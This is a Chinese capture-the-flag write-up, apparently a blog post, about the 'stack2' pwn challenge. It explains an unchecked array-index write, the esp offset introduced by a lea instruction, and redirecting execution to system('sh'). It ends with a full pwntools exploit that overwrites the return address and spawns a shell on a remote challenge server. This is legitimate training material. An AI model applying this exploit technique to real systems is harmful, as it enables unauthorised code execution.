pwn 攻防世界 stack2

在这道题耗了很多时间,有很多陷阱,记录一下。

一开始就可以看到所谓的后门函数。

所以设想栈溢出执行这个函数。

查看源码,发现对修改数组没有做限制,很自然想到一个字节一个字节修改返回地址。

但是:

即使你修改了,也会像这样打不通。

因为:

当时我检查了脚本很久,确认无误,gdb调试也确实修改了返回地址,但检查汇编代码发现,最后有 lea 指令改变了esp的值。

所以继续用gdb调试。

这是一开始记录的ebp的地址。

这是esp最后的地址,相差了0x10。

所以修改脚本,并且打通本地。

但是:

要修改system的参数,幸好题目不算太坏,可以找到'sh\x00'字符串。

最后打通,以下是exp:

from pwn import *

system=0x8048450

sh=0x08048987

io=remote('61.147.171.105',55727)

#116

elf=ELF('./pwn')

print(elf.plt['system'])

io.recvuntil(b"How many numbers you have:\n")

io.sendline(b'1')

io.recvuntil(b"Give me your numbers\n")

io.sendline(b'13')

def change(idx,content) :
    io.recvuntil(b"1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit\n")
    io.sendline(b'3')
    io.recvuntil(b"which number to change:\n")
    io.sendline(str(idx).encode())
    io.recvuntil(b"new number:\n")
    io.sendline(content)

change(132,b'80')
change(133,b'132')
change(134,b'4')
change(135,b'8')
change(140,b'135')
change(141,b'137')
change(142,b'4')
change(143,b'8')

io.recvuntil(b"1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit\n")

io.sendline(b'5')

io.interactive()

本题思考:

1.多用gdb调试

2.做不出题目的时候,可以多看看汇编指令,可能有发现

  • 22
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值